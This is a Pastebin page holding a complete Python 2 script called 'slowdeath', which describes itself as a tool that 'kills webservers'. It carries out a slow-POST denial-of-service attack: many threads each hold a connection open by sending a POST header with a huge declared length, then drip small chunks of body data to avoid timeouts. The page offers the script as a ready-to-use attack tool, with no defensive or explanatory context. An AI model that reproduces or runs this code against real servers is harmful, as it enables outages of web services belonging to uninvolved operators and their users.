Advertisement
Guest User

Untitled

a guest
Apr 18th, 2019
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.33 KB | None | 0 0
  1.  
  2. #!/usr/bin/env python
  3.  
  4. from optparse import OptionParser
  5. from urlparse import urlparse
  6. from time import sleep
  7. import socket
  8. import threading
  9.  
  10. def openConnections(url, threads, sleepTime) :
  11.     urlParts = urlparse(url)
  12.     if (urlParts.scheme != 'http'):
  13.         raise Exception('Only the http protocol is currently supported')
  14.  
  15.     port = urlParts.port
  16.  
  17.     if port == None: port = 80
  18.  
  19.     print "Opening %d sockets to %s:%d" % (threads, urlParts.hostname, port)
  20.  
  21.     pool = []
  22.  
  23.     try:
  24.         for i in range(1, threads):
  25.             t = Worker(urlParts.hostname, port, urlParts.path, sleepTime)
  26.             pool.append(t)
  27.             t.start()
  28.  
  29.         print "Started %d threads. Hit ctrl-c to exit" % (threads)
  30.  
  31.         while True: sleep(1)
  32.  
  33.     except KeyboardInterrupt, e:
  34.         print "\nCaught keyboard interrupt. Stopping all threads"
  35.  
  36.         for worker in pool: worker.stop()
  37.  
  38.         for worker in pool: worker.join()
  39.  
  40. class Worker (threading.Thread):
  41.     def __init__(self, host, port, path, sleepTime) :
  42.         self.host = host
  43.         self.port = port
  44.         self.path = path
  45.         self.sleepTime = sleepTime
  46.         self.stopped = False
  47.         threading.Thread.__init__(self)
  48.  
  49.     def stop(self): self.stopped = True
  50.  
  51.     def run(self):
  52.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  53.         s.connect((self.host, self.port))
  54.         s.settimeout(1)
  55.         s.send(
  56.             'POST ' + self.path + ' HTTP/1.1\r\n' +
  57.             'Host: ' + self.host + '\r\n' +
  58.             'Connection: close\r\n' +
  59.             'Content-Length: 1000000\r\n' +
  60.             '\r\n'
  61.         )
  62.  
  63.         while not self.stopped:
  64.             s.send('abc=123&')
  65.             sleep(self.sleepTime/1000)
  66.  
  67.         s.close
  68.  
  69. def main():
  70.     parser = OptionParser(
  71.         version="slowdeath v0.1",
  72.         description="Kills webservers by keeping many connections open, avoiding timeouts.",
  73.         usage="usage: %prog [options] url",
  74.     )
  75.     parser.add_option(
  76.         '-t','--threads',
  77.         help="Number of connections to keep open (default = 100)",
  78.         type="int",
  79.         dest="threads",
  80.         default=100
  81.     )
  82.     parser.add_option(
  83.         '-s','--sleep',
  84.         help="Time in between packages in millisenconds (default = 1000)",
  85.         type="int",
  86.         dest="sleepTime",
  87.         default=1000
  88.     )
  89.  
  90.     options,args = parser.parse_args()
  91.  
  92.     if len(args) < 1: parser.error("This utility requires at least 1 argument")
  93.  
  94.     url = args[0]
  95.  
  96.     openConnections(url, options.threads, options.sleepTime)
  97.  
  98. if __name__ == '__main__': main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement